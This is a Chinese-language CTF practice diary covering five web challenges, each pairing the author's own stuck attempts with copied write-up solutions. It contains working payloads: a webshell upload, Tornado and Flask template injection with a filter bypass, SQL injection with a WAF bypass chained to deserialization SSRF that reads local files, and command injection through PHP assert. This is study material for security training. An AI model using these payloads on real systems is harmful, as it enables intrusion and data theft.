每天五道题

2020/9/17

第一题
每天五道题

看到文件上传,菜刀生成php,抓包改jpg,发送reapter,操作完成,upload success每天五道题

每天五道题
连接菜刀
每天五道题连接成功
按tab键,显示出文件列表每天五道题
使用ls不知道为什么错了,cd … 也显示错误

应该就差一步就能看到flag了,实在想不通,看wp

wp:和我步骤一模一样,就差找文件了

第二题

每天五道题
点第一个
每天五道题
在url后面试一试,显示404
用御剑扫一下这个url,没有,index.php,也没用,试试sqlmap,没用,想不出思路,看wp

wp:tornado是python中的一个web应用框架。

拿到题目发现有三个文件:

flag.txt

/flag.txt
flag in /fllllllllllllag

发现flag在/fllllllllllllag文件里;

welcome.txt

/welcome.txt
render

render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

hints.txt

/hints.txt
md5(cookie_secret+md5(filename))

filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。

测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)

尝试/error?msg={{datetime}} 在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret

/error?msg={{handler.settings}}

‘cookie_secret’: ‘M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r’

计算filehash值:

import hashlib

def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()

def filehash():
filename = ‘/fllllllllllllag’
cookie_secret = ‘M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r’
print(md5(cookie_secret+md5(filename)))

if name == ‘main’:
filehash()

payload:

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

成功获取flag。

真难啊

第三题
每天五道题

index.php,robots.txt.页面源码全部看过一遍,毫无思路。。。感觉像是一串代码,需要整理,右键查看页面源代码,爆出整理好的代码了,不能理解
看wp

wp:进入题目

发现一串源代码,但是不规则,所以我们ctrl+u查看源代码

这样就整理好了代码,接下来就是审计代码了。我们来看看这个代码都写了啥。

首先导入了两个模块,一个flask,一个os。

然后用app.route装饰器传了两个路径

那我们访问一下这个路径

发现shrine后面的内容会被显示到浏览器上,那我我们可以试试是否存在模板注入构造payload

/shrine/{{2*2}}

发现进行了运算,那么可以判断这里是存在SSTI的。关于SSTI模板注入前面也碰到了不少题目,给大家放几个模板注入题目的链接,大家可以参考一下。

https://blog.****.net/xj28555/article/details/107347562

https://blog.****.net/xj28555/article/details/107182387

注入格式payload为

{{’’.class.mro[2].subclasses()}}

但是仔细分析源代码会发现这里过滤了()和把’config’,'self’加入了黑名单

那么我们原来格式的模板注入就不能用了,这个时候我们想到了内置函数get_flashed_messages(),又应为config在current_app里面,所以我们可以构造payload

{{get_flashed_messages.globals[‘current_app’].config[‘FLAG’]}}

这样就可以绕过

看不懂

第4题

每天五道题
sqlmap,没用,御剑扫描url,扫出个robot.txt,进入每天五道题
进入bak,下载bak

每天五道题
看不懂了

wp:注册后扫描目录发现:/robots.txt

测试发现/view.php?no=1 参数存在SQL注入,但是union select被waf拦截了

尝试绕过

爆表名
/view.php?no=-6 union//select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆列名
/view.php?no=-6 union/
/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#
爆字段
/view.php?no=-6 union/**/select 1,data,3,4 from users#

结果是一个序列化的值

大概的思路为,我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面。 、

function get($url)获取的blog连接,如果连接失败就404,否则读取文件信息。

所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,直接人为构造联合查询返回语句,data字段在第四个位置。

/view.php?no=0//union//select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’ 在源代码中得到flag的base64编码,解码后得到flag值

前面思路是对的,后面就进入了一个未知领域

第五题

每天五道题
index.php,robots.txt,页面源代码,毫无思路。。。看页面源代码,看到个my secert,每天五道题
扫一下试试,扫不到

wp:1.打开题目后,点击About页面,发现网站使用Git、PHP、Bootstrap搭建而成,访问.git,发现存在源码泄露。

2.使用 GitHack ( https://github.com/lijiejie/GitHack )工具,我们可以得到网站的源码。

3.查看源码中的flag.php文件,其中并没有flag,审计index.php文件,关键代码如下

<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

4.page没有经过任何过滤和处理,所以可以传递参数闭合strpos函数

5.设置page为’.system(“cat ./templates/flag.php”).’,查看源代码,可获得flag

总结:git泄露,下载githacker进行解析